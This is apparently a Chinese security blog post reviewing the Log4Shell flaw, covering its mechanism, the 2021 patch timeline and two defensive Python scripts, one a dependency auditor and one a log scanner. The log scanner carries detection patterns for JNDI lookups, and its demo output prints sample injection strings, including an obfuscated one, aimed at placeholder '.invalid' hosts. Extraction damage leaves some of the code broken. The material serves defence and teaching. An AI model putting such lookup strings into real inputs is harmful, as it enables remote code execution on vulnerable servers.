打个日志也能把服务器打穿 这个满分漏洞快五年还没死透
原创
紫禁
紫禁
紫禁玄科
2026年10月18日 13:53
四川
去阅读
SECURITY · INTELLIGENCE
打个日志也能把服务器打穿 这个满分漏洞快五年还没死透
2026年10月17日 · 9 min
网络安全#历史漏洞
01
先看这个满分 满到没有给留级的空间
打日志也能打穿服务器:日志条纹、放大镜与警示三角
安全圈给漏洞打分有一套标准叫 CVSS,满分 10.0。平时见到 9.8 就算\"天花板\"了,因为要拿 10.0,得同时满足\"不需要登录、不需要用户配合、网络上直接打、拿到完整控制权\"。2021 年 12 月 9 日,一个编号 CVE-2021-44228 的漏洞把 10.0 拿满,圈里人更习惯叫它另一个名字:Log4Shell。
我到现在还记得那两天的状态。当时我正在做一个政企系统的渗透测试项目,晚上回酒店刷到通告,第一反应是\"不可能\"——出问题的不是什么冷门组件,是 log4j,Java 世界里记录日志的事实标准,几乎每个 Java 项目都在用。你要在 Java 项目里找一个\"绝对会出现\"的依赖,答案就是它。
一个用来\"打印日志\"的函数,怎么就能把服务器打穿?今天按历史漏洞的复盘路子把它讲透:它当年是怎么被发现的、原理到底卡在哪、修复为什么拖了三周、以及快五年过去,你现在该怎么自查。最后配两段能直接跑的脚本。
02
原理就一句话 日志会替你执行输入里的指令
log4j2 有一个\"贴心\"功能叫消息查找(message lookup):日志内容里如果出现 ${...} 这样的占位符,它会顺手帮你解析替换。比如日志里写 ${env:HOST},打印时就被替换成主机名。功能本身没问题——问题在于它把\"解析\"的权限开得太大了。
占位符里支持一种叫 JNDI 的查找协议,写成 ${jndi:ldap://服务器地址/资源}。JNDI 是 Java 的命名目录接口,本意是让程序去 LDAP、RMI 这类目录服务里取配置对象。关键在于:它取回来的可以是一个 Java 对象,而且早年的 Java 默认允许从远程地址加载这个对象的类。
于是攻击链只剩一步:把 ${jndi:ldap://自己控制的地址/构造好的对象} 塞进任何会被记录下来的输入——登录框的用户名、搜索词、HTTP 请求头里的 User-Agent、上传文件名,都行。应用老老实实调一句 logger.info(\"用户搜索了:\" + 输入),log4j 一解析占位符,就替攻击者连上了他控制的服务器,并把一个远程类加载进来执行。你打了一行日志,它替你执行了一段代码。
日志里的暗门:一行看似无害的输入,被解析成了通往外部的指令
用伪代码还原这个过程,比看任何图都直观:
原理伪代码(示意,非可运行代码)
user\_input = request.header(\"User-Agent\") # 攻击者可控
logger.info(\"UA: \" + user\_input) # 应用以为只是打日志
---- log4j 内部(简化)----
if \"${\" in message:
lookup\_result = jndi\_lookup(extract(message)) # 解析占位符
message = replace(message, lookup\_result) # 这里发起了远程连接
write\_to\_log(message)
注意两个放大器。一是触发门槛低到离谱:不需要登录,一个请求头就够了;二是影响面是全家桶:不光你的代码直接用,你依赖的框架、你买的商业软件、你部署的中间件,都可能在替你用着一个带洞的版本。后来业界清点,受影响的软件以十万计。
03
回看那三周 一场教科书级的修复拉锯战
把时间线摆出来,这段历史比漏洞本身更有信息量。
这个功能是 2013 年随 log4j 2.0-beta9 引入的——也就是说,这扇暗门在互联网上敞开了八年,才被认真审视。2021 年 11 月 24 日,阿里云安全团队的研究人员向 Apache 报告了问题;12 月 6 日,2.15.0 发布,官方以为修完了。
然后就是经典的\"补丁不彻底\"剧本:研究者很快发现 2.15.0 在一些非默认配置下仍可绕过(CVE-2021-45046),12 月 13 日只好再发 2.16.0,把 JNDI 查找默认关掉、移除消息查找;两天后又冒出拒绝服务问题(CVE-2021-45105),12 月 17 日发 2.17.0;又过十来天,12 月 28 日的 2.17.1 才算把这条线收干净(CVE-2021-44832)。同一天,美国 CISA 已经在 12 月 17 日发布了紧急指令 ED 22-02,要求联邦机构限期处置——一个漏洞惊动国家级应急流程,可见分量。
这三周教会行业三件事。第一,修复不是发个版本就算完,2.15.0 那种\"打补丁式修复\"带来的二次伤害(大家以为升级了就安全了)比原漏洞更隐蔽。第二,临时缓解手段有版本门槛:当年很多人加的 -Dlog4j2.formatMsgNoLookups=true 参数,只对 2.10 到 2.14.1 有效,更低版本根本不认。第三,也是最疼的——你根本不知道自己用了多少 log4j。排查那阵子,我见过太多团队第一反应是\"我们没直接用\",然后在传递依赖树里翻出三个。
依赖链上的暗雷:你以为没用,其实它藏在三层依赖的下面
04
五年后复盘 这个漏洞为什么值得记这么久
有人会问:都快五年了,2.17.1 早出来了,还讲它干嘛?因为 Log4Shell 的\"死法\"特别慢。
漏洞公开后连续几年,安全厂商的威胁报告里它一直是被利用最多的漏洞前几名——原因不在于它多高深,而在于\"存量太大\":老旧的 OA、十年没动过的内部系统、买来就再没升级过的商业软件,全都还躺在 2.14.1 及以下。前两年我做项目时还撞见过 2.14.1 的原装版本躺在一套还在跑的业务里,问就是\"这个系统不能动\"。漏洞不看你的系统能不能动。
它还顺手改写了行业的两件事。一是软件供应链从口号变成日常:SBOM(软件物料清单)、依赖清单审计这些概念,2021 年之前是加分项,之后是及格线。二是\"传递依赖\"成为审计必查项:你自己代码一行没写错,架不住你引的框架引的工具包引着一个带洞的 log4j-core。
说个容易被忽略的细节,这也是我每次讲这个案例都要强调的:受影响的是 log4j-core,光有 log4j-api 不会被这个漏洞打到。当年一大波\"全网告急\"的误报,就是没分清这两个包。查版本的时候看准 artifactId,别把 2.17.1 的 api 和 2.14.1 的 core 放一起就以为万事大吉。
05
现在就动手 两段脚本把家底翻一遍
道理讲完,上工具。第一段 log4j\_audit.py 指向你的项目目录,把 log4j-core 的 jar 文件名和 pom/gradle 里的版本声明都翻出来,按\"受影响 / 修复不完整 / 已修复 / 1.x 停止维护\"四档给出结论。纯标准库、不联网、只读不写。我拿一个故意留着 2.14.1 的演示工程跑了一遍:
脚本一:log4j\_audit.py —— 依赖版本体检,本地运行
!/usr/bin/env python3
-\- coding: utf-8 -\-
\"\"\"log4j\_audit.py —— 依赖版本体检(纯标准库,本地运行,不联网)
用法: python3 log4j\_audit.py [目录]
扫描目录下的 log4j-core jar 文件名与 pom.xml / build.gradle 里的版本声明,
按风险等级输出结论。\"\"\"
import os
import re
import sys
import time
RISK\_RANGE = (\"2.0-beta9\", \"2.14.1\") # 受影响区间(含端点)
def parse\_ver(v):
\"\"\"把 2.14.1 这类版本号解析成可比较的元组,beta/rc 排在正式版之前\"\"\"
m = re.match(r\"(\d+)\.(\d+)(?:\.(\d+))?\", v)
if not m:
return None
core = tuple(int(x or 0) for x in m.groups())
pre = 0 if re.search(r\"(beta|rc|alpha)\", v) else 1
return core + (pre,)
def grade(ver):
t = parse\_ver(ver)
if t is None:
return \"WARN\", \"版本号解析失败,人工确认\"
if t[0] == 1:
return \"WARN\", \"1.x 已停止维护,缺 2.x 的修复能力,建议整体升级\"
lo, hi = parse\_ver(RISK\_RANGE[0]), parse\_ver(RISK\_RANGE[1])
if lo <= t <= hi:
return \"RISK\", \"命中受影响区间 %s ~ %s,可被远程触发,必须升级\" % RISK\_RANGE
if t < lo:
return \"WARN\", \"版本过老(早于 2.0-beta9),行为不可预期,建议升级\"
if t < parse\_ver(\"2.17.1\"):
return \"WARN\", \"修复不完整的过渡版本(2.15~2.17.0),建议升到 2.17.1 以上\"
return \"OK\", \"版本已修复\"
def main():
root = sys.argv[1] if len(sys.argv) > 1 else \".\"
hits = []
for dirpath, \_dirs, files in os.walk(root):
for fn in files:
path = os.path.join(dirpath, fn)
m = re.match(r\"log4j-core-(\d[^-]\*\d)(?:-[A-Za-z0-9.]+)?\.jar$\", fn)
if m:
hits.append((\"jar\", m.group(1), path))
elif fn in (\"pom.xml\", \"build.gradle\", \"build.gradle.kts\"):
try:
text = open(path, encoding=\"utf-8\", errors=\"ignore\").read()
except OSError:
continue
for mm in re.finditer(
r\"log4j-core.{0,120}?
text, re.S):
hits.append((\"pom\", mm.group(1).strip(), path))
for mm in re.finditer(
r\"log4j[-.]core['\\"]\s\[:,]\s\'\\"['\\"]\", text):
hits.append((\"gradle\", mm.group(1).strip(), path))
if re.search(r\"\$\{[^}]\log4j[^}]\version[^}]\*\}\", text):
hits.append((\"property\", \"由变量间接引用\", path))
print(\"扫描目录:\", os.path.abspath(root), \"| 时间:\", time.strftime(\"%F %T\"))
if not hits:
print(\"未发现 log4j-core 依赖声明。注意:传递依赖要在完整构建产物里再查一遍。\")
return
worst = {\"RISK\": 0, \"WARN\": 1, \"OK\": 2}
level = \"OK\"
for kind, ver, path in hits:
g, why = grade(ver)
if worst[g] < worst[level]:
level = g
print(\"[%s] %-8s %-22s %s\" % (g, kind, ver, path))
print(\" -> %s\" % why)
print(\"结论:\", {\"RISK\": \"有暴露面,今天就升级到 2.17.1+\",
\"WARN\": \"不干净,安排升级并复核\",
\"OK\": \"版本层面安全,继续盯传递依赖\"}[level])
if \\_name\\ == \"\\main\\_\":
main()
实际运行输出
扫描目录: /root/wx\_articles/vuln\_20261017/demo\_project | 时间: 2026-10-17 22:10:57
[RISK] pom 2.14.1 /root/wx\_articles/vuln\_20261017/demo\_project/pom.xml
-> 命中受影响区间 2.0-beta9 ~ 2.14.1,可被远程触发,必须升级
[RISK] jar 2.14.1 /root/wx\_articles/vuln\_20261017/demo\_project/lib/log4j-core-2.14.1.jar
-> 命中受影响区间 2.0-beta9 ~ 2.14.1,可被远程触发,必须升级
结论: 有暴露面,今天就升级到 2.17.1+
第二段 log4j\_forensics.py 查的是另一件事:当年的利用尝试在日志里留下的痕迹。它会识别直白的 jndi 查找、用 ${lower:x} 一层层拼出来的混淆写法,逐条报出行号和样例。演示日志里我放了三条不同写法的痕迹串(域名用的 .invalid 保留后缀,纯惰性文本):
脚本二:log4j\_forensics.py —— 日志痕迹排查,本地运行
!/usr/bin/env python3
-\- coding: utf-8 -\-
\"\"\"log4j\_forensics.py —— 日志痕迹排查(纯标准库,本地运行,不联网)
用法: python3 log4j\_forensics.py <日志文件或目录>
在历史日志里查找当年利用尝试留下的特征串,只读不写,输出命中行号与样例。\"\"\"
import os
import re
import sys
import time
利用尝试常见特征:直白的 jndi 查找,以及 lower/upper/env/date 等混淆外壳
PATTERNS = [
(\"直白查找\", re.compile(r\"\$\{\s\jndi\s\:\", re.I)),
(\"拼接混淆\", re.compile(
r\"\$\{[^{}]\(\$\{[^}]\\})+[^{}]\*:(ldap|rmi|dns|iiop|corba|nds):\", re.I)),
(\"截断绕过\", re.compile(r\"\$\{[^}]\jndi[^}]\ldap[^}]\*\}\", re.I)),
]
MAX\_SAMPLES = 3
def scan\_file(path):
total = 0
detail = []
try:
with open(path, encoding=\"utf-8\", errors=\"ignore\") as fh:
for lineno, line in enumerate(fh, 1):
for name, pat in PATTERNS:
if pat.search(line):
total += 1
if len(detail) < MAX\_SAMPLES:
sample = line.strip()[:120].replace(\"\t\", \" \")
detail.append((lineno, name, sample))
break
except OSError as exc:
print(\" 跳过 %s: %s\" % (path, exc))
return total, detail
def main():
if len(sys.argv) < 2:
print(\"用法: python3 log4j\_forensics.py <日志文件或目录>\")
return
target = sys.argv[1]
files = []
if os.path.isdir(target):
for dirpath, \_dirs, names in os.walk(target):
for fn in names:
if fn.endswith((\".log\", \".txt\", \".out\")):
files.append(os.path.join(dirpath, fn))
else:
files = [target]
print(\"排查范围:\", os.path.abspath(target), \"| 文件数:\", len(files),
\"| 时间:\", time.strftime(\"%F %T\"))
grand = 0
for path in sorted(files):
total, detail = scan\_file(path)
grand += total
if total:
print(\"命中 %d 条: %s\" % (total, path))
for lineno, name, sample in detail:
print(\" 行%-7d [%s] %s\" % (lineno, name, sample))
print(\"汇总: 共 %d 条疑似利用痕迹\" % grand)
if grand:
print(\"建议: 保留原始日志取证,回查对应时段的外联记录与落盘文件,\"
\"并把命中主机的 log4j-core 版本纳入优先处置。\")
else:
print(\"未发现痕迹。注意: 日志可能已滚动清理,没痕迹不等于没发生过。\")
if \\_name\\ == \"\\main\\_\":
main()
实际运行输出
排查范围: /root/wx\_articles/vuln\_20261017/demo\_logs | 文件数: 1 | 时间: 2026-10-17 22:10:57
命中 3 条: /root/wx\_articles/vuln\_20261017/demo\_logs/app.log
行1 [直白查找] 2021-12-10 08:12:33 INFO [http-nio-8080] user-agent=${jndi:ldap://demo.invalid/a}
行2 [拼接混淆] 2021-12-10 08:12:40 INFO [http-nio-8080] search=${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://demo.invalid/b}
行4 [直白查找] 2021-12-11 02:40:10 INFO [http-nio-8080] referer=${jndi:rmi://demo.invalid/obj}
汇总: 共 3 条疑似利用痕迹
建议: 保留原始日志取证,回查对应时段的外联记录与落盘文件,并把命中主机的 log4j-core 版本纳入优先处置。
两段脚本配合起来就是一套最小自查闭环:先用第一段确认\"装没装补丁\",再用第二段确认\"当年有没有人来敲过门\"。提示一句:从公众号复制代码如报\"非法字符 U+00A0\",把行内空格重打一遍即可。
日志漏洞自查流程:清点依赖 定位版本 升级补丁 翻查日志 排查痕迹 长期守护
06
按角色收个尾 各自该做的事就一屏
写代码的:升级到 2.17.1 以上是底线;暂时升不了的,从 jar 里移除 JndiLookup 类是官方认可的兜底;更重要的是把依赖清单当代码管——pom 里写明版本,CI 里挂一次依赖扫描,别让它默默漂着。别迷信那个 JVM 参数,它有版本门槛。
做运维和安全的:把这类\"到处都有\"的组件纳入资产清单,重点关照那些\"不能停、不能动\"的老系统——它们恰恰是攻击者最喜欢的存量。日志留够 90 天以上,跑一遍今天的第二段脚本,有命中就按痕迹回溯时段、外联和落盘文件。
普通读者:这个漏洞离你不远也不近。远的是你改不了它的代码;近的是你用的每一个 Java 写的网站、每一台智能设备的管理后台,都可能踩在它上面。你能做的是两件小事:别用来路不明的破解软件和\"绿色版\"工具(它们最喜欢打包老组件),看到\"系统升级维护\"的公告别嫌烦——那可能就是在装今天这颗补丁。
一个打日志的功能,敞了八年,修了三周,影响了几十万软件,火了快五年还没灭干净。历史漏洞的意义就在这:它提醒我们,最危险的从来不是哪个天才设计的奇招,而是所有人每天都在用、没人停下来想一想的那一行普通代码。
觉得有用?点个「在看」让更多人看到
紫禁玄科
专注网络安全 · 深度分析
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







![[1019]一周重点情报汇总|天际友盟情报站"](/images/random/titlepic/12.jpg)

评论